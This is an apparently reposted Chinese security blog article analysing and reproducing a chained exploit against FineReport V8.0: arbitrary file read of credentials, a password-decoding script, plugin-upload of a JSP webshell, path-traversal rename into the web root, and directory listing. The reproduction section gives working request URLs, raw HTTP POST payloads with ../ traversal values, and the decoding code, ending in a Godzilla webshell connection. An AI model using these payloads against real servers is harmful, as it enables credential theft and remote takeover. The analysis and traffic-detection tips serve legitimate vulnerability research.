帆软报表 V8.0 组合拳漏洞分析及复现

admin 2024年10月10日20:52:19帆软报表 V8.0 组合拳漏洞分析及复现已关闭评论116 views字数 13204阅读44分0秒阅读模式

漏洞简述

FineReport是一款企业级报表设计和数据可视化软件,纯Java编写的企业级web报表工具。它提供了强大的报表设计、数据分析和数据可视化功能,旨在帮助企业用户轻松地创建高质量的报表和数据分析图表。

组合拳漏洞

  1. 帆软报表 v8.0 任意文件读取漏洞(CNVD-2018-04757)
  2. 帆软后台插件上传webshell漏洞
  3. 帆软目录遍历漏洞

影响版本

FineReport < 8.0

漏洞原理

  1. 文件读取-WebReport/WEB-INF/lib/fr-platform-8.0.jar

总结:直接对resourcepath请求参数值进行readResource()资源读取,没有对resourcepath请求参数值进行安全校验过滤,导致可以获取敏感文件内容

位于com.fr.chart.web.ChartGetFileContentAction#actionCMD,读取过程:获取resourcepath请求参数值,并通过readResource()读取文件资源,简单替换Unicode字符'\ufeff'后则输出至HTTP响应体中

    1. public void actionCMD(HttpServletRequest var1, HttpServletResponse var2, String var3) throws Exception {

    2. // 获取名为"resourcepath"的HTTP请求参数,并解码为字符串

    3. String var4 = CodeUtils.cjkDecode(WebUtils.getHTTPRequestParameter(var1, "resourcepath"));

    4. // 根据解码后的资源路径,读取文件资源的输入流

    5. InputStream var5 = FRContext.getCurrentEnv().readResource(var4);

    6. // 将文件资源的输入流转换为字符串

    7. String var6 = IOUtils.inputStream2String(var5);

    8. // 替换字符串中的Unicode字符'\ufeff'(BOM字符)为空格字符

    9. var6 = var6.replace('\ufeff', ' ');

    10. // 将处理后的字符串作为HTTP响应输出

    11. WebUtils.printAsString(var2, var6);

    12. public String getCMD() {

    13. return "get_geo_json";

跟进cjkDecode(),查看获取resourcepath参数值过程:只检测是否为空后者是否包含 CJK 编码字符,不为空和包含CJK 编码字符则直接读取,没有做其它安全校验

    1. public static String cjkDecode(String var0) throws Exception {

    2. // 如果输入字符串为null,则返回空字符串

    3. // 如果输入字符串不包含 CJK 编码字符,则直接返回输入字符串

    4. else if (!isCJKEncoded(var0)) {

    5. StringBuilder var1 = new StringBuilder();

    6. for (int var2 = 0; var2 < var0.length(); ++var2) {

    7. char var3 = var0.charAt(var2);

    8. // 如果当前字符是'[',则说明可能是 CJK 编码字符

    9. if (var3 == '[') {

    10. int var4 = var0.indexOf(']', var2 + 1);

    11. if (var4 > var2 + 1) {

    12. String var5 = var0.substring(var2 + 1, var4);

    13. if (var5.length() > 0) {

    14. var3 = (char) Integer.parseInt(var5, 16);

    15. // 更新遍历位置

    16. var2 = var4;

    17. var1.append(var3);

    18. return var1.toString();

跟进readResource(),查看读取资源过程:直接读取,没有做其它安全校验

  1. InputStream readResource(String var1) throws Exception;
  1. 插件上传-WebReport/WEB-INF/lib/fr-platform-8.0.jar

总结:通过插件功能上传后的zip文件,在插件安装或者更新的过程中会自动解压缩至/tmp路径下,由于在解压过程中没有对zip压缩包里的文件进行安全校验,从而导致jsp文件可以被解压至本地;同时还存在文件重命名功能,可通过重命名功能移动文件路径,从而导致getshell

插件管理功能,位于com.fr.chart.web.ChartGetFileContentAction,找到本地安装插件InstallFromDiskAction()和本地升级插件UpdateFromDiskAction()对象

    1. private static ActionNoSessionCMD[] actions = new ActionNoSessionCMD[]{

    2. // 定义一系列ActionNoSessionCMD对象数组

    3. ......

    4. new InstallFromDiskAction(), // 本地安装:local_install

    5. new InstallOnlineAction(),

    6. new InstallDependenceOnlineAction(),

    7. new UpdateFromDiskAction(), // 本地升级:local_update

    8. ......

插件本地安装-local_install

跟进InstallFromDiskAction(),查看本地安装插件过程:读取WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件temp.zip,初次存储路径为:/cache/temp.zip

    1. public class InstallFromDiskAction extends ActionNoSessionCMD {

    2. public InstallFromDiskAction() {

    3. public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {

    4. PrintWriter var3 = WebUtils.createPrintWriter(var2);

    5. JSONObject var4 = JSONObject.create();

    6. // 从前端上传的临时文件路径:WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件(temp.zip)

    7. File var5 = UploadHelper.getFileFromFront(var1, var2, WebHelper.DOWNLOAD_PATH, "temp.zip");

    8. // 调用 WebHelper 类的 installFromDisk 方法进行插件安装

    9. WebHelper.installFromDisk(var5);

    10. // 插件安装成功,返回状态为 "success"

    11. var4.put("status", "success");

    12. var3.println(var4);

    13. } catch (PluginDependenceException var11) {

    14. // 插件依赖异常,返回相关错误信息

    15. double var7 = (double) var11.getPluginLength() / Math.pow(10.0, 6.0);

    16. String var9 = String.format("%.2f", var7);

    17. String var10 = var11.getPluginID();

    18. var4.put("status", "failed").put("message", "dependence").put("dependenceLength", var9).put("pluginID", var10);

    19. var3.println(var4);

    20. } catch (Exception var12) {

    21. // 其他异常,返回异常信息

    22. var4.put("status", "failed").put("message", var12.getMessage());

    23. var3.println(var4);

    24. public String getCMD() {

    25. return "local_install";

跟进installFromDisk(),查看安装插件过程:读取插件文件并安装

    1. public static void installFromDisk(File var0) throws Exception {

    2. // 读取插件文件,解析为 Plugin 对象

    3. Plugin var1 = readPlugin(var0);

    4. // 安装插件,将 Plugin 对象安装到当前环境(FRContext)中

    5. installPluginFromUnzippedDir(FRContext.getCurrentEnv(), var1);

跟进readPlugin(),查看读取插件过程:删除TEMP_PATH(/tmp)目录的所有文件,再将/cache/temp.zip 将解压至 /tmp目录下,在解压过程中没有temp.zip里的文件进行安全校验

    1. private static final String TEMP_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/tmp"});

    2. public static final String DOWNLOAD_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/cache"});

    3. public static final String DEPENDENCE_DOWNLOAD_PATH = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "/cache/dependence"});

    4. public static final String TEMP_FILE = "temp.zip";

    5. public static Plugin readPlugin(File var0) throws Exception {

    6. // 删除临时路径下的所有文件(TEMP_PATH:/tmp)

    7. StableUtils.deleteFile(new File(TEMP_PATH));

    8. // 解压 var0 (temp.zip)文件到临时路径(TEMP_PATH :/tmp),即 /cache/temp.zip 将解压至 /tmp目录下

    9. IOUtils.unzip(var0, TEMP_PATH);

    10. // 从临时路径中读取插件信息,并返回读取的插件对象

    11. return readPluginFormTemp();

插件本地更新-local_update

跟进UpdateFromDiskAction(),查看本地更新插件过程:读取WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件temp.zip,初次存储路径为:/cache/temp.zip,跟进readPlugin(),和本地上传功能(local_install)的读取插件过程一致:在解压过程中没有temp.zip里的文件进行安全校验

    1. public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {

    2. PrintWriter var3 = WebUtils.createPrintWriter(var2);

    3. // 从前端上传的临时文件路径:WebHelper.DOWNLOAD_PATH (/cache)中获取要更新的插件文件(temp.zip)

    4. File var4 = UploadHelper.getFileFromFront(var1, var2, WebHelper.DOWNLOAD_PATH, "temp.zip");

    5. // 调用 updateFromDisk 方法来更新插件

    6. this.updateFromDisk(var4, var3);

    7. // 刷新并关闭 PrintWriter 对象,将数据写入 HTTP 响应

    8. private void updateFromDisk(File var1, PrintWriter var2) throws JSONException {

    9. JSONObject var3 = JSONObject.create();

    10. // 从文件 var1 (temp.zip)中读取插件信息

    11. Plugin var4 = WebHelper.readPlugin(var1);

    12. // 检查插件信息是否有效,如果无效则返回错误信息

    13. if (var4 == null) {

    14. var3.put("status", "failed").put("message", Inter.getLocText("FS-Msg-Invalid_Plugin_Zip_File"));

    15. var2.println(var3);

    16. return "local_update";

文件重命名-manual_backup

找到文件重命名功能,位于com.fr.fs.web.service.ServerConfigManualBackupAction,查看文件重命名过程:将源文件oldname重命名为目的文件newname,通过renameTo()进行重命名操作,没有其它安全校验

    1. public class ServerConfigManualBackupAction extends ActionNoSessionCMD {

    2. public void actionCMD(HttpServletRequest var1, HttpServletResponse var2) throws Exception {

    3. String var3 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "finedb"});

    4. String var4 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "resources"});

    5. String var5 = StableUtils.pathJoin(new String[]{FRContext.getCurrentEnv().getPath(), "frbak"});

    6. String var6 = WebUtils.getHTTPRequestParameter(var1, "optype");

    7. if (ComparatorUtils.equals(var6, "back_up")) {

    8. } else if (ComparatorUtils.equals(var6, "edit_backup")) {

    9. // WebUtils.getHTTPRequestParameter 方法分别获取旧的备份文件名 oldname 和新的备份文件名 newname

    10. var7 = WebUtils.getHTTPRequestParameter(var1, "oldname");

    11. String var8 = WebUtils.getHTTPRequestParameter(var1, "newname");

    12. // 根据获取到的文件名,构建对应的 File 对象:

    13. File var9 = new File(StableUtils.pathJoin(new String[]{var5, "manualbackup", var7})); // oldname

    14. File var10 = new File(StableUtils.pathJoin(new String[]{var5, "manualbackup", var8})); // newname

    15. // renameTo方法,将源文件(oldname)重命名为目标文件(newname)

    16. if (!var9.renameTo(var10)) {

    17. FRLogger.getLogger().error("rename backup error.");

    18. } else if (ComparatorUtils.equals(var6, "list_backup")) {

    19. FRLogger.getLogger().error("error manual_backup operation type!");

    20. public String getCMD() {

    21. return "manual_backup";

跟进renameTo(),查看重命名过程:只校验源/目标文件是否有写的权限

    1. public boolean renameTo(File dest) {

    2. SecurityManager security = System.getSecurityManager();

    3. // 如果安全管理器不为空,则进行安全检查

    4. if (security != null) {

    5. security.checkWrite(path);

    6. security.checkWrite(dest.path);

    7. throw new NullPointerException();

    8. // 检查当前文件或目标文件是否无效(无效的文件通常是由于文件路径不正确或文件不存在等原因导致)

    9. // 如果当前文件或目标文件无效,则返回 false 表示重命名失败

    10. if (this.isInvalid() || dest.isInvalid()) {

    11. // 调用底层文件系统的重命名方法,并返回结果

    12. return fs.rename(this, dest);

  1. 目录遍历-WebReport/lib/fr-designer-core-8.0.jar

总结:匹配正确的HTTP请求参数值(op=fs_remote_design&cmd=design_list_file&file_path=xxxx&currentUserName=xx&currentUserId=1&isWebReport=true),响应码为200,file_path目录存在,即可加载目录内容,由于在加载目录过程中没有进行安全校验,只要输入具体路径或者默认路径,都可以读取对应的目录内容

找到目录遍历功能,位于com.fr.env.RemoteEnv,搜索关键字design_list_file定位,查看目录遍历过程:匹配HTTP请求参数(op=fs_remote_designcmd=design_list_filefile_path=xxxcurrentUserName=xxxcurrentUserId=1isWebReport=true)后创建一个HttpClient实例,通过**execute4InputStream()执行HTTP请求并获取响应内容

currentUserName参数:getUser()currentUserId参数:createUserID(),均没有进行安全校验

    1. private FileNode[] listFile(String var1, boolean var2) throws Exception {

    2. // 创建一个HashMap用于存储HTTP请求的参数

    3. HashMap<String, String> var4 = new HashMap<>();

    4. var4.put("op", "fs_remote_design");

    5. var4.put("cmd", "design_list_file");

    6. var4.put("file_path", var1);

    7. var4.put("currentUserName", this.getUser()); // getUser()

    8. var4.put("currentUserId", this.createUserID()); // createUserID()

    9. var4.put("isWebReport", var2 ? "true" : "false"); // isWebReport

    10. // 创建一个HttpClient实例并设置HTTP请求的方法和参数

    11. HttpClient var5 = this.createHttpMethod(var4);

    12. ByteArrayInputStream var6 = this.execute4InputStream(var5);

    13. // 如果响应输入流为空,返回一个空的FileNode数组

    14. return new FileNode[0];

    15. FileNode[] var3 = DavXMLUtils.readXMLFileNodes(var6);

    16. ArrayList<FileNode> var7 = new ArrayList<>();

    17. for (int var8 = 0; var8 < var3.length; ++var8) {

    18. var7.add(var3[var8]);

    19. FileNode[] var10 = new FileNode[var7.size()];

    20. for (int var9 = 0; var9 < var7.size(); ++var9) {

    21. var10[var9] = var7.get(var9);

    22. public String getUser() {

    23. return this.user; // 直接读取user名:currentUserName,不做校验

    24. private String createUserID() throws EnvException {

    25. if (this.userID == null) {

    26. return this.userID; // 直接读取user名:currentUserName,不做校验

跟进execute4InputStream(),查看执行HTTP请求并获取响应内容过程:获取响应码,如果响应码为200,将正常执行HTTPHTTP请求,并获取响应内容,没有进行其它安全校验。因此,只要file_path路径存在,就能正常请求资源返回目录内容

    1. private ByteArrayInputStream execute4InputStream(HttpClient var1) throws Exception {

    2. this.setHttpsParas();

    3. int var2 = var1.getResponseCode();

    4. if (var2 != 200) {

    5. // 如果状态码不是200,抛出EnvException异常,表示请求失败

    6. throw new EnvException("Method failed: " + var2);

    7. } catch (Exception var25) {

    8. // 捕获异常,并记录连接重置的日志信息

    9. FRContext.getLogger().info("Connection reset ");

    10. InputStream var27 = var1.getResponseStream();

    11. // 如果输入流为空,返回null

    12. // 创建一个ByteArrayOutputStream,用于将HTTP响应的数据写入内存中

    13. ByteArrayOutputStream var3 = new ByteArrayOutputStream();

    14. boolean var20 = false;

    15. ByteArrayInputStream var6;

    16. var20 = true;

    17. Utils.copyBinaryTo(var27, var3); // 将输入流(var27)中的二进制数据复制到输出流(var3

    18. byte[] var4 = var3.toByteArray(); //

    19. String var5 = new String(var4, "UTF-8");

    20. .......

    21. // 创建一个ByteArrayInputStream,用于将响应内容作为输入流返回

    22. var6 = new ByteArrayInputStream(var4);

    23. var20 = false;

    24. } finally {

    25. if (var20) {

    26. // 在处理完HTTP响应后,关闭相关资源

    27. synchronized(this) {

    28. var27.close();

    29. var3.close();

    30. var1.release();

    31. }

漏洞复现

  1. 任意文件读取漏洞

访问http://192.168.6.140:8080/WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml,虽然显示空白,但右击查看网页源代码,可以发现账号密码

帆软报表 V8.0 组合拳漏洞分析及复现

使用密码解密脚本(源于帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757finereport.py

    1. cipher = '\_\_\_0061002100780060005500e70018' #密文

    2. PASSWORD\_MASK\_ARRAY = \[19, 78, 10, 15, 100, 213, 43, 23\] #掩码

    3. cipher = cipher\[3:\] #截断三位后

    4. for i in range(int(len(cipher) / 4)):

    5. c1 = int("0x" + cipher\[i \* 4:(i + 1) \* 4\], 16)

    6. c2 = c1 ^ PASSWORD\_MASK\_ARRAY\[i % 8\]

    7. Password = Password + chr(c2)

帆软报表 V8.0 组合拳漏洞分析及复现

使用账号密码成功登录并跳转到系统首页http://192.168.6.140:8080/WebReport/ReportServer?op=fs

帆软报表 V8.0 组合拳漏洞分析及复现

  1. 插件上传webshell漏洞

上传webshell

方式1:local_install本地安装功能上传webshell

点击管理系统-插件管理板块,选择本地安装,路径为http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=local_install,将name="file"修改为 name="install-from-disk"进行安装,虽然响应体返回无效zip,但仍是成功上传,并自动解压至WEB-INF/tmp目录

    1. POST /WebReport/ReportServer?op=plugin&cmd=local\_install HTTP/1.1

    2. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

    3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

    4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    5. Content-Type: multipart/form-data; boundary=---------------------------43396694042741433502589989449

    6. Origin: http://192.168.6.140:8080

    7. Referer: http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=init

    8. Cookie: JSESSIONID=5F48D0D96E90F4EF12F4FA54BF441927; fr\_password=""; fr\_remember=false

    9. Upgrade-Insecure-Requests: 1

    10. \-----------------------------43396694042741433502589989449

    11. Content-Disposition: form-data; name="install-from-disk"; filename="plugin-com.fr.plugin.reportfit.zip"

    12. Content-Type: application/x-zip-compressed

帆软报表 V8.0 组合拳漏洞分析及复现

帆软报表 V8.0 组合拳漏洞分析及复现

方式2:local_update本地更新功能上传webshell

选择本地更新插件上传zip压缩包,路径为http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=local_update,与local_install本地安装过程同理,最后自动解压至WEB-INF/tmp目录

帆软报表 V8.0 组合拳漏洞分析及复现

帆软报表 V8.0 组合拳漏洞分析及复现

manual_backup重命名文件

/WebReport/WEB-INF/tmp/go401-pass-rodenty-raw.jsp移动至/WebReport目录,并重命名为1.jsp

    1. POST /WebReport/ReportServer?op=fr\_server&cmd=manual\_backup HTTP/1.1

    2. User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0

    3. Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,\*/\*;q=0.8

    4. Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

    5. Cookie: JSESSIONID=5F48D0D96E90F4EF12F4FA54BF441927; fr\_password=""; fr\_remember=false

    6. Upgrade-Insecure-Requests: 1

    7. X-Requested-With: XMLHttpRequest

    8. Content-Type: application/x-www-form-urlencoded; charset=UTF-8

    9. optype=edit\_backup&oldname=../../../WEB-INF/tmp/go401-pass-rodenty-raw.jsp&newname=../../../1.jsp

帆软报表 V8.0 组合拳漏洞分析及复现

连接webshell

访问http://192.168.6.140:8080/WebReport/1.jsp,回显空白页面,确认文件存在

帆软报表 V8.0 组合拳漏洞分析及复现

用Godzilla工具成功连接webshell

帆软报表 V8.0 组合拳漏洞分析及复现

  1. 目录遍历漏洞

构造payloadhttp://192.168.6.140:8080/WebReport/ReportServer?op=fs_remote_design&cmd=design_list_file&file_path=../WebReport/WEB-INF/tmp&currentUserName=admin&currentUserId=1&isWebReport=true,成功读取../WebReport/WEB-INF/tmp目录的所有文件

帆软报表 V8.0 组合拳漏洞分析及复现

流量侧排查小tips

正确登录页面

访问http://192.168.6.140:8080/WebReport/ReportServer,是个部署页面

帆软报表 V8.0 组合拳漏洞分析及复现

点击数据决策系统,跳转到http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=1672748615453登录页面

帆软报表 V8.0 组合拳漏洞分析及复现

因此输入完账密后,是通过http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=login进行POST数据跳转,但并非是真实登录页面,真实登录页面应该是http://192.168.6.140:8080/WebReport/ReportServer?op=fs_load&cmd=fs_signin&_=1672748615453

帆软报表 V8.0 组合拳漏洞分析及复现

插件自动加载流量

点击管理系统-插件管理板块,将会自动跳转至http://192.168.6.140:8080/WebReport/ReportServer?op=plugin&cmd=war等路径,将自动加载&cmd=war/plugin_url_prefix/init等路径,并非人工手动加载

帆软报表 V8.0 组合拳漏洞分析及复现

帆软报表 V8.0 组合拳漏洞分析及复现

参考链接

百度安全验证

百度安全验证

帆软报表组合拳漏洞分析

帆软报表 v8.0 任意文件读取漏洞 CNVD-2018-04757

  1. 原文链接:https://forum.butian.net/share/2390

免费领取安全学习资料包!帆软报表 V8.0 组合拳漏洞分析及复现

渗透工具

帆软报表 V8.0 组合拳漏洞分析及复现

技术文档、书籍

帆软报表 V8.0 组合拳漏洞分析及复现 帆软报表 V8.0 组合拳漏洞分析及复现

帆软报表 V8.0 组合拳漏洞分析及复现

面试题

帮助你在面试中脱颖而出

帆软报表 V8.0 组合拳漏洞分析及复现

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

帆软报表 V8.0 组合拳漏洞分析及复现 帆软报表 V8.0 组合拳漏洞分析及复现

帆软报表 V8.0 组合拳漏洞分析及复现

应急响应笔记

帆软报表 V8.0 组合拳漏洞分析及复现

学习路线

帆软报表 V8.0 组合拳漏洞分析及复现

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月10日20:52:19
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   帆软报表 V8.0 组合拳漏洞分析及复现https://cn-sec.com/archives/3249844.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.